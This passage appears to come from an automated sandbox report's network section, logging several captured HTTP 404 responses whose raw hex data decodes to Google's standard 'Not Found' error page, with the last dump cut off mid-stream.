Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:10:20 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:10:21 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:10:24 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:10:26 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:10:27 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:10:30 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:10:31 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 